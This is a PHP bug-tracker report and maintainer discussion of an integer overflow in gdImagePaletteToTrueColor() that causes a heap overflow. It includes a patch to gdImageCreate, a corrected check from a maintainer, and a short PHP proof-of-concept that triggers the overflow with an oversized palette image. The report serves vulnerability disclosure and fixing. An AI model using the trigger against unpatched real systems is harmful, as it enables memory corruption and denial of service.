Description:
------------
The gdImagePaletteToTrueColor() is prone to an integer overflow, which result in heap based overflow.

Tested on 32-bits.

* Fix
File libgd/gd.c, line 123:
gdImagePtr gdImageCreate (int sx, int sy)
{
	int i;
	gdImagePtr im;

	if (overflow2(sx, sy)) {
		return NULL;
	}

	if (overflow2(sizeof(unsigned char *), sy)) {
		return NULL;
	}

+	if (overflow2(sizeof(int), sx)) {
+		return NULL;
+	}

	im = (gdImage *) gdCalloc(1, sizeof(gdImage));



Test script:
---------------
<?php
// poc.php
ini_set('memory_limit', -1);
$im = imagecreate(0x40000000, 1);
imagecolorallocatealpha($im, 0x61, 0x61, 0x61, 0x61);

imagepalettetotruecolor($im);
?>

Looks like the issue is in libgd which means it should be reported to libgd maintainers.
 [2016-06-19 04:21 UTC] gogil at stealien dot com
libgd(2.0.34RC~lasted) is not affected by this vulnerability.
php's gdImageCreate() function used a slightly different routine.

Pierre, could you take a look? Looks like merge is missing or something?
 [2016-06-19 07:43 UTC] pajoye@php.net
It should be:


	if (overflow2(sizeof (unsigned char *), sy)) {
		return NULL;
	}
	if (overflow2(sizeof (unsigned char *), sx)) {
		return NULL;
	}

palette image uses an 2D array of unsigned chars.

Gogil, Stas, thanks for all the reviews and fixes :) 

@Gogil btw, be sure to check in https://github.com/libgd/libgd as it seems you are looking to an old repo with 2.0.34 (bitbucket?) as latest version.

libgd(2.0.34RC~latest) is not affected by this vulnerability.

I am sorry for my typo mistake.
 [2016-06-19 14:52 UTC] pajoye@php.net
I got that thanks:)

What I mean is the latest release is 2.2.1 and 2.2.2 should come this week. :)
 [2016-06-19 15:52 UTC] gogil at stealien dot com
I got it.

thanks :)
